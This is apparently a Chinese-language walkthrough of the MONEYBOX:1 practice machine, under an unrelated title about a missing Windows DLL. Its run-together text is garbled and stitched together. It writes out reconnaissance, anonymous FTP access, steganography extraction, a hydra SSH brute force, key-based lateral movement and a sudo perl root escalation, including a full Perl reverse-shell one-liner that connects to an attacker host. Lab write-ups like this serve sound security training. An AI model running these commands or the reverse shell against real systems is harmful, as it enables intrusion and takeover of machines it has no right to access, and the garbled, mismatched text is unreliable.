Windows系统d3dx10_34.dll文件丢失找不到问题解决
2026/6/10 1:52:59
/home/renu/user1.txt、/home/lily/user2.txt、/root/root.txt三个flagsudo apt update && sudo apt upgrade -yping 网关IP确认Kali能正常联网,避免后续工具下载失败# 方法1:nmap网段存活扫描(速度中等,准确率高)nmap192.168.0.0/24 -sn# 替换为你的网段(可通过ip addr查看Kali的IP网段)# 方法2:arp-scan(局域网快速扫描,适合桥接模式)sudoarp-scan -I eth0 -l# eth0为Kali网卡名(可通过ip link show查看)# 方法3:netdiscover(主动探测,适合Host-only模式)sudonetdiscover -i eth0nmap -A -v -T4<靶机IP># -A全面扫描(含服务版本、操作系统),-T4加速,-v详细输出ftp<靶机IP># 输入后按提示输入用户名和密码# 用户名:anonymous(FTP匿名登录默认用户名)# 密码:直接回车(匿名登录无需密码,或输入任意字符)ls命令查看目录,发现trytofind.jpg图片文件get trytofind.jpg(将图片保存到Kali本地,后续分析隐写信息)ls -la(显示隐藏文件,部分靶机可能隐藏txt文件)put test.txt(若允许上传,可直接上传木马,但该靶机禁用上传权限)http://<靶机IP>,页面显示简单提示:“This is a very simple box, so don’t think too much”# 方法1:dirsearch(默认字典,适合快速扫描)dirsearch -u http://<靶机IP>-e php,txt,html# 指定常见后缀,提高命中率# 方法2:gobuster(自定义字典,适合深度扫描)gobusterdir-u http://<靶机IP>-w /usr/share/wordlists/dirb/common.txt/blogs目录,访问后页面提示:“I have hacked this box and informed them. But they didn’t do any security configuration”(暗示管理员未修复漏洞)/blogs页面源代码(F12),发现注释提示:<!-- Hint: another secret directory is S3cr3t-T3xt -->http://<靶机IP>/S3cr3t-T3xt/,页面显示无关文本,再次查看源代码:<!-- Secret Key: 3xtr4ctd4t4 -->(获取隐写术密钥)sudo apt install steghide -ysteghide extract -sf trytofind.jpg -p 3xtr4ctd4t4# -sf指定文件,-p指定密码data.txt文件,查看内容:cat data.txt,得到关键信息:“There is a user named ‘renu’ with a very weak password”(确定SSH登录用户名+弱密码提示)exiftool trytofind.jpg(查看图片元数据,可能隐藏信息)zsteg trytofind.jpg(针对PNG图片的隐写分析,该靶机为JPG,暂不适用)hydra -l renu -P /usr/share/wordlists/rockyou.txt ssh://<靶机IP>-t4# -t指定线程数,避免被靶机屏蔽987654321(典型弱密码,符合靶机提示)ssh renu@<靶机IP>,输入密码987654321,成功登录renu用户ls,发现user1.txt,获取第一个flag:cat user1.txtls /home,发现存在lily用户ls -la /home/renu/.ssh,发现id_rsa.pub(公钥文件)cat /home/lily/.ssh/authorized_keys,发现该文件包含renu的公钥(意味着renu可免密码登录lily)ssh lily@127.0.0.1(本地SSH登录,无需输入密码),成功切换到lilycat /home/lily/user2.txtsudo -l(查看当前用户可执行的sudo命令)lily ALL=(ALL) NOPASSWD: /usr/bin/perl(lily可免密码以root权限执行perl命令)# 方法1:直接获取root shell(简单直接)sudoperl -e'exec "/bin/sh";'# 方法2:反向shell(适合靶机无直接交互的场景)# 1. 攻击机(Kali)监听端口:nc -lvp 4444# 2. 靶机执行:sudo perl -e 'use Socket;$i="KaliIP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'ls /root,发现root.txt,获取第三个flag:cat /root/root.txt| 漏洞类型 | 具体表现 | 风险等级 | 实际场景案例 |
|---|---|---|---|
| FTP匿名访问漏洞 | 允许匿名用户登录并下载文件 | 中 | 企业内部FTP服务器配置不当,导致敏感数据泄露 |
| Web目录泄露+注释敏感信息 | 隐藏目录未限制访问,注释暴露密钥 | 中 | 网站开发遗留测试目录、注释未删除,被黑客利用 |
| 图片隐写术泄露信息 | 敏感用户信息隐藏在图片中 | 低-中 | 黑客通过隐写术传递攻击指令、账号密码 |
| 弱密码漏洞 | 用户renu使用简单密码987654321 | 高 | 企业员工使用生日、连续数字作为密码,被暴力破解 |
| SSH公钥配置不当 | 允许其他用户免密码登录 | 高 | 服务器配置错误,导致横向移动攻击 |
| sudo权限滥用 | 普通用户可免密码执行root级命令 | 严重 | 服务器权限分配不合理,导致提权攻击 |
入门者学习路径:MONEYBOX:1覆盖了渗透测试的核心流程(信息收集→漏洞利用→权限提升),新手可在此基础上拓展:
技术趋势与防御演变:
职业发展建议:
MONEYBOX:1作为入门级靶场,虽漏洞点较直观,但完整覆盖了渗透测试的核心流程,适合新手建立"信息收集是基础,漏洞利用是关键,权限提升是目标"的思维框架。实际渗透测试中,漏洞往往不是孤立存在的,需结合多个信息点形成攻击链(如本靶机中FTP→图片隐写→SSH破解→sudo提权)。通过反复练习和拓展学习,可逐步提升对漏洞的敏感度和实战能力,为后续挑战更高难度靶场和实际工作打下基础。